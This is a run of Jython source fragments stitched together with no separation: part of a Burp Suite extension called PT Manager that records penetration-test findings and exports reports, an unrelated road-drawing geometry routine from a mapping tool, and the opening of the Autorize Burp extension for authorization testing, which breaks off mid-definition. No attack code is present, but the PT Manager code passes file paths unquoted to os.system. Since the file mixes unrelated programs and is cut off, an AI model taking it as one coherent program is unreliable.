open("config.ini",'w') self.config.write(cfgfile) cfgfile.close() def saveCfg(self): f = open('config.ini', 'w') self.config.write(f) f.close() def getXMLDoc(self, xmlPath): try: document = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(xmlPath) return document except: self._extender.popup("XML file not found") return def saveXMLDoc(self, doc, xmlPath): transformerFactory = TransformerFactory.newInstance() transformer = transformerFactory.newTransformer() source = DOMSource(doc) result = StreamResult(File(xmlPath)) transformer.transform(source, result) def generateReport(self,event): if self.reportType.getSelectedItem() == "HTML": path = self.reportToHTML() if self.reportType.getSelectedItem() == "XLSX": path = self.reportToXLS() if self.reportType.getSelectedItem() == "DOCX": path = self.generateReportFromDocxTemplate('template.docx',"newfile.docx", 'word/document.xml') n = JOptionPane.showConfirmDialog(None, "Report generated successfuly:\n%s\nWould you like to open it?" % (path), "PT Manager", JOptionPane.YES_NO_OPTION) if n == JOptionPane.YES_OPTION: os.system('"' + path + '"') # Bug! stucking burp until the file get closed def exportProj(self,event): self.chooser.setDialogTitle("Save project") Ffilter = FileNameExtensionFilter("Zip files", ["zip"]) self.chooser.setFileFilter(Ffilter) returnVal = self.chooser.showSaveDialog(None) if returnVal == JFileChooser.APPROVE_OPTION: dst = str(self.chooser.getSelectedFile()) shutil.make_archive(dst,"zip",self.getCurrentProjPath()) self.popup("Project export successfuly") def importProj(self,event): self.chooser.setDialogTitle("Select project zip to directory") Ffilter = FileNameExtensionFilter("Zip files", ["zip"]) self.chooser.setFileFilter(Ffilter) returnVal = self.chooser.showOpenDialog(None) if returnVal == JFileChooser.APPROVE_OPTION: zipPath = str(self.chooser.getSelectedFile()) self.chooser.setDialogTitle("Select project directory") self.chooser.setFileSelectionMode(JFileChooser.DIRECTORIES_ONLY) returnVal = self.chooser.showOpenDialog(None) if returnVal == JFileChooser.APPROVE_OPTION: projPath = str(self.chooser.getSelectedFile()) + "/PTManager" with zipfile.ZipFile(zipPath, "r") as z: z.extractall(projPath) xmlPath = projPath + "/project.xml" document = self.getXMLDoc(xmlPath) nodeList = document.getDocumentElement().getChildNodes() projName = nodeList.item(0).getTextContent() nodeList.item(1).setTextContent(projPath) self.saveXMLDoc(document, xmlPath) self.config.set('projects', projName, projPath) self.saveCfg() self.reloadProjects() self.currentProject.getModel().setSelectedItem(projName) self.clearVulnerabilityTab() def reportToXLS(self): if not xlsxwriterImported: self.popup("xlsxwriter library is not imported") return workbook = xlsxwriter.Workbook(self.getCurrentProjPath() + '/PT Manager Report.xlsx') worksheet = workbook.add_worksheet() bold = workbook.add_format({'bold': True}) worksheet.write(0, 0, "Vulnerability Name", bold) worksheet.write(0, 1, "Threat Level", bold) worksheet.write(0, 2, "Description", bold) worksheet.write(0, 3, "Mitigation", bold) row = 1 for i in range(0,self._log.size()): worksheet.write(row, 0, self._log.get(i).getName()) worksheet.write(row, 1, self._log.get(i).getSeverity()) worksheet.write(row, 2, self._log.get(i).getDescription()) worksheet.write(row, 3, self._log.get(i).getMitigation()) row = row + 1 # add requests and images as well workbook.close() return self.getCurrentProjPath() + '/PT Manager Report.xlsx' def reportToHTML(self): htmlContent = """<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="he" dir="ltr"> <head> <title>PT Manager Report</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <style> body { background-repeat: no-repeat; background-attachment: fixed; font-family: Arial,Tahoma,sens-serif; font-size: 13px; margin: auto; } #warpcenter { width: 900px; margin: 0px auto; } table { border: 2px dashed #000000; } td { border-top: 2px dashed #000000; padding: 10px; } img { border: 0px; } </style> <script language="javascript"> function divHideShow(divToHideOrShow) { var div = document.getElementById(divToHideOrShow); if (div.style.display == "block") { div.style.display = "none"; } else { div.style.display = "block"; } } </script> </head> <body> <div id="warpcenter"> <h1> PT Manager Report </h1> <h2> Project: %s</h1> """ % (self.projName.getText()) for i in range(0,self._log.size()): name = self._log.get(i).getName() request = "None" response = "None" path = self.getVulnReqResPath("request",name) if os.path.exists(path): request = self.newlineToBR(self.getFileContent(path)) path = self.getVulnReqResPath("response",name) if os.path.exists(path): response = self.newlineToBR(self.getFileContent(path)) images = "" for fileName in os.listdir(self.projPath.getText()+"/"+self.clearStr(name)): if fileName.endswith(".jpg"): images += "%s<br><img src=\"%s\"><br><br>" % (fileName, self.projPath.getText()+"/"+self.clearStr(name) + "/" + fileName) description = self.newlineToBR(self._log.get(i).getDescription()) mitigation = self.newlineToBR(self._log.get(i).getMitigation()) htmlContent += self.convertVulntoTable(i,name,self._log.get(i).getSeverity(), description,mitigation, request, response, images) htmlContent += "</div></body></html>" f = open(self.getCurrentProjPath() + '/PT Manager Report.html', 'w') f.writelines(htmlContent) f.close() return self.getCurrentProjPath() + '/PT Manager Report.html' def newlineToBR(self,string): return "<br />".join(string.split("\n")) def getFileContent(self,path): f = open(path, "rb") content = f.read() f.close() return content def convertVulntoTable(self, number, name, severity, description, mitigation, request = "None", response = "None", images = "None"): return """<div style="width: 100%%;height: 30px;text-align: center;background-color:#E0E0E0;font-size: 17px;font-weight: bold;color: #000;padding-top: 10px;">%s <a href="javascript:divHideShow('Table_%s');" style="color:#191970">(OPEN / CLOSE)</a></div> <div id="Table_%s" style="display: none;"> <table width="100%%" cellspacing="0" cellpadding="0" style="margin: 0px auto;text-align: left;border-top: 0px;"> <tr> <td> <div style="font-size: 16px;font-weight: bold;"> <span style="color:#000000">Threat Level: </span> <span style="color:#8b8989">%s</span> </td> </tr> <tr> <td> <div style="font-size: 16px;font-weight: bold;"> <span style="color:#000000">Description</span> <a href="javascript:divHideShow('Table_%s_Command_03');" style="color:#191970">OPEN / CLOSE >>></a> </div> <div id="Table_%s_Command_03" style="display: none;margin-top: 25px;"> %s </div> </td> </tr> <tr> <td> <div style="font-size: 16px;font-weight: bold;"> <span style="color:#000000">Mitigration</span> <a href="javascript:divHideShow('Table_%s_Command_04');" style="color:#191970">OPEN / CLOSE >>></a> </div> <div id="Table_%s_Command_04" style="display: none;margin-top: 25px;"> %s <b> </td> </tr> <tr> <td> <div style="font-size: 16px;font-weight: bold;"> <span style="color:#000000">Request</span> <a href="javascript:divHideShow('Table_%s_Command_05');" style="color:#191970">OPEN / CLOSE >>></a> </div> <div id="Table_%s_Command_05" style="display: none;margin-top: 25px;"> %s <b> </td> </tr> <tr> <td> <div style="font-size: 16px;font-weight: bold;"> <span style="color:#000000">Response</span> <a href="javascript:divHideShow('Table_%s_Command_06');" style="color:#191970">OPEN / CLOSE >>></a> </div> <div id="Table_%s_Command_06" style="display: none;margin-top: 25px;"> %s <b> </td> </tr> <tr> <td> <div style="font-size: 16px;font-weight: bold;"> <span style="color:#000000">Images</span> <a href="javascript:divHideShow('Table_%s_Command_07');" style="color:#191970">OPEN / CLOSE >>></a> </div> <div id="Table_%s_Command_07" style="display: none;margin-top: 25px;"> %s <b> </td> </tr> </table> </div><br><br>""" % (name,number,number,severity,number,number,description,number,number,mitigation,number,number,request,number,number,response,number,number,images) def clearVulnerabilityTab(self, rmVuln=True): if rmVuln: self.vulnName.setText("") self.descriptionString.setText("") self.mitigationStr.setText("") self.colorCombo.setSelectedIndex(0) self.threatLevel.setSelectedIndex(0) self.screenshotsList.clear() self.addButton.setText("Add") self.firstPic.setIcon(None) def saveRequestResponse(self, type, requestResponse, vulnName): path = self.getVulnReqResPath(type,vulnName) f = open(path, 'wb') f.write(requestResponse) f.close() def openProj(self, event): os.system('explorer ' + self.projPath.getText()) def getVulnReqResPath(self, requestOrResponse, vulnName): return self.getCurrentProjPath() + "/" + self.clearStr(vulnName) + "/"+requestOrResponse+"_" + self.clearStr(vulnName) def htmlEscape(self,data): return data.replace('&', '&').replace('<', '<').replace('>', '>').replace('"', '"').replace("'", ''') def generateReportFromDocxTemplate(self, zipname, newZipName, filename): newZipName = self.getCurrentProjPath() + "/" + newZipName with zipfile.ZipFile(zipname, 'r') as zin: with zipfile.ZipFile(newZipName, 'w') as zout: zout.comment = zin.comment for item in zin.infolist(): if item.filename != filename: zout.writestr(item, zin.read(item.filename)) else: xml_content = zin.read(item.filename) result = re.findall("(.*)<w:body>(?:.*)<\/w:body>(.*)",xml_content)[0] newXML = result[0] templateBody = re.findall("<w:body>(.*)<\/w:body>", xml_content)[0] newBody = "" for i in range(0,self._log.size()): tmp = templateBody tmp = tmp.replace("$vulnerability", self.htmlEscape(self._log.get(i).getName())) tmp = tmp.replace("$severity", self.htmlEscape(self._log.get(i).getSeverity())) tmp = tmp.replace("$description", self.htmlEscape(self._log.get(i).getDescription())) tmp = tmp.replace("$mitigation", self.htmlEscape(self._log.get(i).getMitigation())) newBody = newBody + tmp newXML = newXML + newBody newXML = newXML + result[1] with zipfile.ZipFile(newZipName, mode='a', compression=zipfile.ZIP_DEFLATED) as zf: zf.writestr(filename, newXML) return newZipName def chooseProjPath(self, event): self.chooser.setDialogTitle("Select target directory") self.chooser.setFileSelectionMode(JFileChooser.DIRECTORIES_ONLY) returnVal = self.chooser.showOpenDialog(None) if returnVal == JFileChooser.APPROVE_OPTION: projPath = str(self.chooser.getSelectedFile()) + "/PTManager" os.makedirs(projPath) self.projPath.setText(projPath) def reloadProjects(self): self.currentProject.setModel(DefaultComboBoxModel(self.config.options('projects'))) def rmProj(self, event): if self.popUpAreYouSure() == JOptionPane.YES_OPTION: self._requestViewer.setMessage("None", False) self._responseViewer.setMessage("None", False) shutil.rmtree(self.projPath.getText()) self.config.remove_option('projects',self.currentProject.getSelectedItem()) self.reloadProjects() self.currentProject.setSelectedIndex(0) self.loadVulnerabilities(self.projPath.getText()) def popup(self,msg): JOptionPane.showMessageDialog(None,msg) def addProj(self, event): projPath = self.projPath.getText() if projPath == None or projPath == "": self.popup("Please select path") return self.config.set('projects', self.projName.getText(), projPath) self.saveCfg() xml = ET.Element('project') name = ET.SubElement(xml, "name") path = ET.SubElement(xml, "path") details = ET.SubElement(xml, "details") autoSaveMode = ET.SubElement(xml, "autoSaveMode") name.text = self.projName.getText() path.text = projPath details.text = self.projDetails.getText() autoSaveMode.text = str(self.autoSave.isSelected()) tree = ET.ElementTree(xml) try: tree.write(self.getCurrentProjPath()+'/project.xml') except: self.popup("Invalid path") return self.reloadProjects() self.clearVulnerabilityTab() self.clearList(None) self.currentProject.getModel().setSelectedItem(self.projName.getText()) def resize(self, image, width, height): bi = BufferedImage(width, height, BufferedImage.TRANSLUCENT) g2d = bi.createGraphics() g2d.addRenderingHints(RenderingHints(RenderingHints.KEY_RENDERING, RenderingHints.VALUE_RENDER_QUALITY)) g2d.drawImage(image, 0, 0, width, height, None) g2d.dispose() return bi; def clearStr(self, var): return var.replace(" " , "_").replace("\\" , "").replace("/" , "").replace(":" , "").replace("*" , "").replace("?" , "").replace("\"" , "").replace("<" , "").replace(">" , "").replace("|" , "").replace("(" , "").replace(")" , "") def popUpAreYouSure(self): dialogResult = JOptionPane.showConfirmDialog(None,"Are you sure?","Warning",JOptionPane.YES_NO_OPTION) if dialogResult == 0: return 0 return 1 def removeSS(self,event): if self.popUpAreYouSure() == JOptionPane.YES_OPTION: os.remove(self.getCurrentVulnPath() + "/" + self.ssList.getSelectedValue()) self.ssList.getModel().remove(self.ssList.getSelectedIndex()) self.firstPic.setIcon(ImageIcon(None)) # check if there is images and select the first one # bug in linux def addSS(self,event): clipboard = Toolkit.getDefaultToolkit().getSystemClipboard() try: image = clipboard.getData(DataFlavor.imageFlavor) except: self.popup("Clipboard not contains image") return vulnPath = self.projPath.getText() + "/" + self.clearStr(self.vulnName.getText()) if not os.path.exists(vulnPath): os.makedirs(vulnPath) name = self.clearStr(self.vulnName.getText()) + str(random.randint(1, 99999))+".jpg" fileName = self.projPath.getText()+"/"+ self.clearStr(self.vulnName.getText()) + "/" + name file = File(fileName) bufferedImage = BufferedImage(image.getWidth(None), image.getHeight(None), BufferedImage.TYPE_INT_RGB); g = bufferedImage.createGraphics(); g.drawImage(image, 0, 0, bufferedImage.getWidth(), bufferedImage.getHeight(), Color.WHITE, None); ImageIO.write(bufferedImage, "jpg", file) self.addVuln(self) self.ssList.setSelectedValue(name,True) def rmVuln(self, event): if self.popUpAreYouSure() == JOptionPane.YES_OPTION: self._requestViewer.setMessage("None", False) self._responseViewer.setMessage("None", False) shutil.rmtree(self.getCurrentVulnPath()) self.clearVulnerabilityTab() self.loadVulnerabilities(self.getCurrentProjPath()) def addVuln(self, event): if self.colorCombo.getSelectedItem() == "Color:": colorTxt = None else: colorTxt = self.colorCombo.getSelectedItem() self._lock.acquire() row = self._log.size() vulnObject = vulnerability(self.vulnName.getText(),self.threatLevel.getSelectedItem(),self.descriptionString.getText(),self.mitigationStr.getText() ,colorTxt) self._log.add(vulnObject) self.fireTableRowsInserted(row, row) self._lock.release() vulnPath = self.projPath.getText() + "/" + self.clearStr(self.vulnName.getText()) if not os.path.exists(vulnPath): os.makedirs(vulnPath) xml = ET.Element('vulnerability') name = ET.SubElement(xml, "name") severity = ET.SubElement(xml, "severity") description = ET.SubElement(xml, "description") mitigation = ET.SubElement(xml, "mitigation") color = ET.SubElement(xml, "color") name.text = self.vulnName.getText() severity.text = self.threatLevel.getSelectedItem() description.text = self.descriptionString.getText() mitigation.text = self.mitigationStr.getText() color.text = colorTxt tree = ET.ElementTree(xml) tree.write(vulnPath+'/vulnerability.xml') self.loadVulnerabilities(self.getCurrentProjPath()) self.loadVulnerability(vulnObject) def vulnNameChanged(self): if os.path.exists(self.getCurrentVulnPath()) and self.vulnName.getText() != "": self.addButton.setText("Update") elif self.addButton.getText() != "Add": options = ["Create a new vulnerability", "Change current vulnerability name"] n = JOptionPane.showOptionDialog(None, "Would you like to?", "Vulnerability Name", JOptionPane.YES_NO_CANCEL_OPTION, JOptionPane.QUESTION_MESSAGE, None, options, options[0]); if n == 0: self.clearVulnerabilityTab(False) self.addButton.setText("Add") else: newName = JOptionPane.showInputDialog( None, "Enter new name:", "Vulnerability Name", JOptionPane.PLAIN_MESSAGE, None, None, self.vulnName.getText()) row = self.logTable.getSelectedRow() old = self.logTable.getValueAt(row,1) self.changeVulnName(newName,old) def changeVulnName(self,new,old): newpath = self.getCurrentProjPath() + "/" + new oldpath = self.getCurrentProjPath() + "/" + old os.rename(oldpath,newpath) self.changeCurrentVuln(new,0, newpath + "/vulnerability.xml") def getCurrentVulnPath(self): return self.projPath.getText() + "/" + self.clearStr(self.vulnName.getText()) def getCurrentProjPath(self): return self.projPath.getText() def loadSS(self, imgPath): image = ImageIO.read(File(imgPath)) if image.getWidth() <= 550 and image.getHeight() <= 400: self.firstPic.setIcon(ImageIcon(image)) self.firstPic.setSize(image.getWidth(),image.getHeight()) else: self.firstPic.setIcon(ImageIcon(self.resize(image,550, 400))) self.firstPic.setSize(550,400) def clearProjectTab(self): self.projPath.setText("") self.projDetails.setText("") def clearList(self, event): self._lock.acquire() self._log = ArrayList() row = self._log.size() self.fireTableRowsInserted(row, row) self._lock.release() # # implement IContextMenuFactory # def createMenuItems(self, invocation): responses = invocation.getSelectedMessages(); if responses > 0: ret = LinkedList() requestMenuItem = JMenuItem("Send to PT Manager"); requestMenuItem.addActionListener(handleMenuItems(self,responses[0], "request")) ret.add(requestMenuItem); return(ret); return null; # # implement ITab # def getTabCaption(self): return "PT Manager" def getUiComponent(self): return self._splitpane # # extend AbstractTableModel # def getRowCount(self): try: return self._log.size() except: return 0 def getColumnCount(self): return 3 def getColumnName(self, columnIndex): if columnIndex == 0: return "#" if columnIndex == 1: return "Vulnerability Name" if columnIndex == 2: return "Threat Level" return "" def getValueAt(self, rowIndex, columnIndex): vulnObject = self._log.get(rowIndex) if columnIndex == 0: return rowIndex+1 if columnIndex == 1: return vulnObject.getName() if columnIndex == 2: return vulnObject.getSeverity() if columnIndex == 3: return vulnObject.getMitigation() if columnIndex == 4: return vulnObject.getColor() return "" def changeCurrentVuln(self,value,fieldNumber, xmlPath = "def"): if xmlPath == "def": xmlPath = self.getCurrentVulnPath() + "/vulnerability.xml" document = self.getXMLDoc(xmlPath) nodeList = document.getDocumentElement().getChildNodes() nodeList.item(fieldNumber).setTextContent(value) self.saveXMLDoc(document, xmlPath) self.loadVulnerabilities(self.getCurrentProjPath()) def loadVulnerability(self, vulnObject): self.addButton.setText("Update") self.vulnName.setText(vulnObject.getName()) self.threatLevel.setSelectedItem(vulnObject.getSeverity()) self.descriptionString.setText(vulnObject.getDescription()) self.mitigationStr.setText(vulnObject.getMitigation()) if vulnObject.getColor() == "" or vulnObject.getColor() == None: self.colorCombo.setSelectedItem("Color:") else: self.colorCombo.setSelectedItem(vulnObject.getColor()) self.screenshotsList.clear() for fileName in os.listdir(self.projPath.getText()+"/"+self.clearStr(vulnObject.getName())): if fileName.endswith(".jpg"): self.screenshotsList.addElement(fileName) imgPath = self.projPath.getText()+"/"+self.clearStr(vulnObject.getName())+'/'+fileName # imgPath = imgPath.replace("/","//") self.loadSS(imgPath) if (self.screenshotsList.getSize() == 0): self.firstPic.setIcon(None) else: self.ssList.setSelectedIndex(0) path = self.getVulnReqResPath("request",vulnObject.getName()) if os.path.exists(path): f = self.getFileContent(path) self._requestViewer.setMessage(f, False) else: self._requestViewer.setMessage("None", False) path = self.getVulnReqResPath("response",vulnObject.getName()) if os.path.exists(path): f = self.getFileContent(path) self._responseViewer.setMessage(f, False) else: self._responseViewer.setMessage("None", False)
def _roadDraw(p, final=0): global _edit1, _laneWidths, _doBackup, _skip, _radius, _roadCenterLine roadEdgeLeft = ArrayList() roadEdgeRight = ArrayList() _roadCenterLine = ArrayList() try: laneWidth = float(_edit1.text) except: laneWidth = p[0].distance(p[1]) roadWidth = laneWidth * 2.0 if p.size() == 3: _laneWidths = [laneWidth, laneWidth] _edit1.text = "%f" % laneWidth p.remove(0) if len(_laneWidths) < p.size(): _laneWidths.append(laneWidth) else: _laneWidths[-1] = laneWidth #handle the backup button for skip in _skip: p.remove(skip) skip = 0 if _doBackup: skip = p.size() - 2 #index of prior point _skip.append(skip) #we'll need it next time we get p[] _doBackup = 0 if skip > 1: #lane width skips can be handled now _laneWidths = _laneWidths[:skip] + _laneWidths[skip+1:] if skip > 1: p.remove(skip) left = 1 right = 0 #crank in the initial road rectangle left and right edges roadEdgeLeft.add(GeoUtils.perpendicularVector(p[0], p[1], _laneWidths[0], left)) roadEdgeRight.add(GeoUtils.perpendicularVector(p[0], p[1], _laneWidths[0], left)) roadEdgeRight.add(GeoUtils.perpendicularVector(p[0], p[1], _laneWidths[0], right)) roadEdgeLeft.add(GeoUtils.perpendicularVector(p[1], p[0], _laneWidths[1], right)) roadEdgeRight.add(GeoUtils.perpendicularVector(p[1], p[0], _laneWidths[1], left)) _roadCenterLine.add(p[0]) _roadCenterLine.add(p[1]) #calculate the left and right edges of the rest of the road currPos = 1 endPos = p.size() - 1 #the last point in the array is the curr mouse pos adjusted by constraints perp1 = GeoUtils.perpendicularVector(p[1], p[0], roadWidth, right) while currPos < endPos: midPt = CU.add( p[currPos], CU.divide(CU.subtract(p[currPos + 1], p[currPos]), 2)) perp2 = GeoUtils.perpendicularVector(midPt, p[currPos], roadWidth, right) center = GeoUtils.getIntersection(p[currPos], perp1, midPt, perp2) if center.z == 0.0: #check for parallel vectors radius = center.distance(p[currPos]) d = p[currPos].distance(midPt) curved = radius / d < 50 #compare to tangent threshold else: curved = 0 if curved: #construct a circular curve circularArc = (_laneWidths[currPos] == _laneWidths[currPos + 1]) radius = center.distance(p[currPos]) toLeft = computeOrientation(p[currPos], perp1, p[currPos + 1]) == LEFT basePerp = GeoUtils.perpendicularVector(p[currPos], perp1, roadWidth, toLeft) toLeft = computeOrientation(p[currPos], basePerp, p[currPos + 1]) == LEFT radians = Angle.angleBetween(center, p[currPos], p[currPos + 1]) if circularArc: #left edge if toLeft: angle = -Angle.toDegrees(radians) ratio = (radius - _laneWidths[currPos]) / radius else: angle = Angle.toDegrees(radians) ratio = (radius + _laneWidths[currPos]) / radius arc = Arc(center, p[currPos], angle) arcPts = arc.getCoordinates() for pt in arcPts: _roadCenterLine.add(pt) start = CU.add(center, CU.multiply(ratio, CU.subtract(p[currPos], center))) arc = Arc(center, start, angle) arcPts = arc.getCoordinates() for pt in arcPts: roadEdgeLeft.add(pt) #right edge if toLeft: ratio = (radius + _laneWidths[currPos]) / radius else: ratio = (radius - _laneWidths[currPos]) / radius start = CU.add(center, CU.multiply(ratio, CU.subtract(p[currPos], center))) arc = Arc(center, start, angle) arcPts = arc.getCoordinates() for pt in arcPts: roadEdgeRight.add(pt) perp1.x = center.x perp1.y = center.y _radius = radius - _laneWidths[currPos] else: #smooth tangent non-circular curve #left edge if toLeft: angle = -Angle.toDegrees(radians) else: angle = Angle.toDegrees(radians) start = p[currPos] arc = Arc(center, start, angle) arcPts = arc.getCoordinates() for pt in arcPts: _roadCenterLine.add(pt) inc = (_laneWidths[currPos + 1] - _laneWidths[currPos]) / (arcPts.size() - 1) i = 0 for pt in arcPts: if toLeft: ratio = (radius - _laneWidths[currPos] - (i * inc)) / radius else: ratio = (radius + _laneWidths[currPos] + (i * inc)) / radius roadEdgeLeft.add(CU.add(center, CU.multiply(ratio, CU.subtract(pt, center)))) i += 1 #right edge i = 0 for pt in arcPts: if toLeft: ratio = (radius + _laneWidths[currPos] + (i * inc)) / radius else: ratio = (radius - _laneWidths[currPos] - (i * inc)) / radius roadEdgeRight.add(CU.add(center, CU.multiply(ratio, CU.subtract(pt, center)))) i += 1 perp1.x = center.x perp1.y = center.y _radius = radius - _laneWidths[currPos] else: #construct straight section of road roadEdgeLeft.add(GeoUtils.perpendicularVector(p[currPos + 1], p[currPos], _laneWidths[currPos + 1], right)) roadEdgeRight.add(GeoUtils.perpendicularVector(p[currPos + 1], p[currPos], _laneWidths[currPos + 1], left)) perp1 = GeoUtils.perpendicularVector(p[currPos + 1], p[currPos], _laneWidths[currPos + 1], right) _roadCenterLine.add(p[currPos + 1]) _radius = 0 currPos += 1 #if final: #uncomment to display click point feedback for debugging p.clear() #clear the click point array and replace with road edges for pt in roadEdgeLeft: p.add(pt) #trace right return path back to start i = roadEdgeRight.size() - 1 while i >= 0: p.add(roadEdgeRight[i]) i -= 1
class BurpExtender(IBurpExtender, ITab, IHttpListener, IMessageEditorController, AbstractTableModel, IContextMenuFactory): def registerExtenderCallbacks(self, callbacks): # keep a reference to our callbacks object self._callbacks = callbacks # obtain an extension helpers object self._helpers = callbacks.getHelpers() # set our extension name callbacks.setExtensionName("Autorize") # create the log and a lock on which to synchronize when adding log entries self._log = ArrayList() self._lock = Lock() self.intercept = 0 self.initInterceptionFilters() self.initEnforcementDetector() self.initExport() self.initConfigurationTab() self.initTabs() self.initCallbacks() print "Thank you for installing Autorize v0.9 extension" print "by Barak Tawily" return def initExport(self): # ## init enforcement detector tab # exportLType = JLabel("File Type:") exportLType.setBounds(10, 10, 100, 30) exportLES = JLabel("Enforcement Statuses:") exportLES.setBounds(10, 50, 160, 30) exportFileTypes = ["HTML"] self.exportType = JComboBox(exportFileTypes) self.exportType.setBounds(100, 10, 200, 30) exportES = [ "All Statuses", "Authorization bypass!", "Authorization enforced??? (please configure enforcement detector)", "Authorization enforced!" ] self.exportES = JComboBox(exportES) self.exportES.setBounds(100, 50, 200, 30) exportLES = JLabel("Statuses:") exportLES.setBounds(10, 50, 100, 30) self.exportButton = JButton("Export", actionPerformed=self.exportToHTML) self.exportButton.setBounds(390, 25, 100, 30) self.exportPnl = JPanel() self.exportPnl.setLayout(None) self.exportPnl.setBounds(0, 0, 1000, 1000) self.exportPnl.add(exportLType) self.exportPnl.add(self.exportType) self.exportPnl.add(exportLES) self.exportPnl.add(self.exportES) self.exportPnl.add(self.exportButton) def initEnforcementDetector(self): # ## init enforcement detector tab # self.EDFP = ArrayList() self.EDCT = ArrayList() EDLType = JLabel("Type:") EDLType.setBounds(10, 10, 140, 30) EDLContent = JLabel("Content:") EDLContent.setBounds(10, 50, 140, 30) EDLabelList = JLabel("Filter List:") EDLabelList.setBounds(10, 165, 140, 30) EDStrings = [ "Finger Print: (enforced message body contains)", "Content-Length: (constant Content-Length number of enforced response)" ] self.EDType = JComboBox(EDStrings) self.EDType.setBounds(80, 10, 430, 30) self.EDText = JTextArea("", 5, 30) self.EDText.setBounds(80, 50, 300, 110) self.EDModel = DefaultListModel() self.EDList = JList(self.EDModel) self.EDList.setBounds(80, 175, 300, 110) self.EDList.setBorder(LineBorder(Color.BLACK)) self.EDAdd = JButton("Add filter", actionPerformed=self.addEDFilter) self.EDAdd.setBounds(390, 85, 120, 30) self.EDDel = JButton("Remove filter", actionPerformed=self.delEDFilter) self.EDDel.setBounds(390, 210, 120, 30) self.EDPnl = JPanel() self.EDPnl.setLayout(None) self.EDPnl.setBounds(0, 0, 1000, 1000) self.EDPnl.add(EDLType) self.EDPnl.add(self.EDType) self.EDPnl.add(EDLContent) self.EDPnl.add(self.EDText) self.EDPnl.add(self.EDAdd) self.EDPnl.add(self.EDDel) self.EDPnl.add(EDLabelList) self.EDPnl.add(self.EDList) def initInterceptionFilters(self): # ## init interception filters tab # IFStrings = [ "URL Contains: ", "Scope items only: (Content is not required)" ] self.IFType = JComboBox(IFStrings) self.IFType.setBounds(80, 10, 430, 30) self.IFModel = DefaultListModel() self.IFList = JList(self.IFModel) self.IFList.setBounds(80, 175, 300, 110) self.IFList.setBorder(LineBorder(Color.BLACK)) self.IFText = JTextArea("", 5, 30) self.IFText.setBounds(80, 50, 300, 110) IFLType = JLabel("Type:") IFLType.setBounds(10, 10, 140, 30) IFLContent = JLabel("Content:") IFLContent.setBounds(10, 50, 140, 30) IFLabelList = JLabel("Filter List:") IFLabelList.setBounds(10, 165, 140, 30) self.IFAdd = JButton("Add filter", actionPerformed=self.addIFFilter) self.IFAdd.setBounds(390, 85, 120, 30) self.IFDel = JButton("Remove filter", actionPerformed=self.delIFFilter) self.IFDel.setBounds(390, 210, 120, 30) self.filtersPnl = JPanel() self.filtersPnl.setLayout(None) self.filtersPnl.setBounds(0, 0, 1000, 1000) self.filtersPnl.add(IFLType) self.filtersPnl.add(self.IFType) self.filtersPnl.add(IFLContent) self.filtersPnl.add(self.IFText) self.filtersPnl.add(self.IFAdd) self.filtersPnl.add(self.IFDel) self.filtersPnl.add(IFLabelList) self.filtersPnl.add(self.IFList) def initConfigurationTab(self): # ## init configuration tab # self.prevent304 = JCheckBox("Prevent 304 Not Modified status code") self.prevent304.setBounds(290, 25, 300, 30) self.ignore304 = JCheckBox("Ignore 304/204 status code responses") self.ignore304.setBounds(290, 5, 300, 30) self.ignore304.setSelected(True) self.autoScroll = JCheckBox("Auto Scroll") self.autoScroll.setBounds(290, 45, 140, 30) startLabel = JLabel("Authorization checks:") startLabel.setBounds(10, 10, 140, 30) self.startButton = JButton("Autorize is off", actionPerformed=self.startOrStop) self.startButton.setBounds(160, 10, 120, 30) self.startButton.setBackground(Color(255, 100, 91, 255)) self.clearButton = JButton("Clear List", actionPerformed=self.clearList) self.clearButton.setBounds(10, 40, 100, 30) self.replaceString = JTextArea("Cookie: Insert=injected; header=here;", 5, 30) self.replaceString.setWrapStyleWord(True) self.replaceString.setLineWrap(True) self.replaceString.setBounds(10, 80, 470, 180) self.filtersTabs = JTabbedPane() self.filtersTabs.addTab("Enforcement Detector", self.EDPnl) self.filtersTabs.addTab("Interception Filters", self.filtersPnl) self.filtersTabs.addTab("Export", self.exportPnl) self.filtersTabs.setBounds(0, 280, 2000, 700) self.pnl = JPanel() self.pnl.setBounds(0, 0, 1000, 1000) self.pnl.setLayout(None) self.pnl.add(self.startButton) self.pnl.add(self.clearButton) self.pnl.add(self.replaceString) self.pnl.add(startLabel) self.pnl.add(self.autoScroll) self.pnl.add(self.ignore304) self.pnl.add(self.prevent304) self.pnl.add(self.filtersTabs) def initTabs(self): # ## init autorize tabs # self.logTable = Table(self) self._splitpane = JSplitPane(JSplitPane.HORIZONTAL_SPLIT) self._splitpane.setResizeWeight(1) self.scrollPane = JScrollPane(self.logTable) self._splitpane.setLeftComponent(self.scrollPane) self.scrollPane.getVerticalScrollBar().addAdjustmentListener( autoScrollListener(self)) copyURLitem = JMenuItem("Copy URL") copyURLitem.addActionListener(copySelectedURL(self)) self.menu = JPopupMenu("Popup") self.menu.add(copyURLitem) self.tabs = JTabbedPane() self._requestViewer = self._callbacks.createMessageEditor(self, False) self._responseViewer = self._callbacks.createMessageEditor(self, False) self._originalrequestViewer = self._callbacks.createMessageEditor( self, False) self._originalresponseViewer = self._callbacks.createMessageEditor( self, False) self.tabs.addTab("Modified Request", self._requestViewer.getComponent()) self.tabs.addTab("Modified Response", self._responseViewer.getComponent()) self.tabs.addTab("Original Request", self._originalrequestViewer.getComponent()) self.tabs.addTab("Original Response", self._originalresponseViewer.getComponent()) self.tabs.addTab("Configuration", self.pnl) self.tabs.setSelectedIndex(4) self._splitpane.setRightComponent(self.tabs) def initCallbacks(self): # ## init callbacks # # customize our UI components self._callbacks.customizeUiComponent(self._splitpane) self._callbacks.customizeUiComponent(self.logTable) self._callbacks.customizeUiComponent(self.scrollPane) self._callbacks.customizeUiComponent(self.tabs) self._callbacks.customizeUiComponent(self.filtersTabs) self._callbacks.registerContextMenuFactory(self) # add the custom tab to Burp's UI self._callbacks.addSuiteTab(self) # ## Events functions # def startOrStop(self, event): if self.startButton.getText() == "Autorize is off": self.startButton.setText("Autorize is on") self.startButton.setBackground(Color.GREEN) self.intercept = 1 self._callbacks.registerHttpListener(self) else: self.startButton.setText("Autorize is off") self.startButton.setBackground(Color(255, 100, 91, 255)) self.intercept = 0 self._callbacks.removeHttpListener(self) def addEDFilter(self, event): typeName = self.EDType.getSelectedItem().split(":")[0] self.EDModel.addElement(typeName + ": " + self.EDText.getText()) def 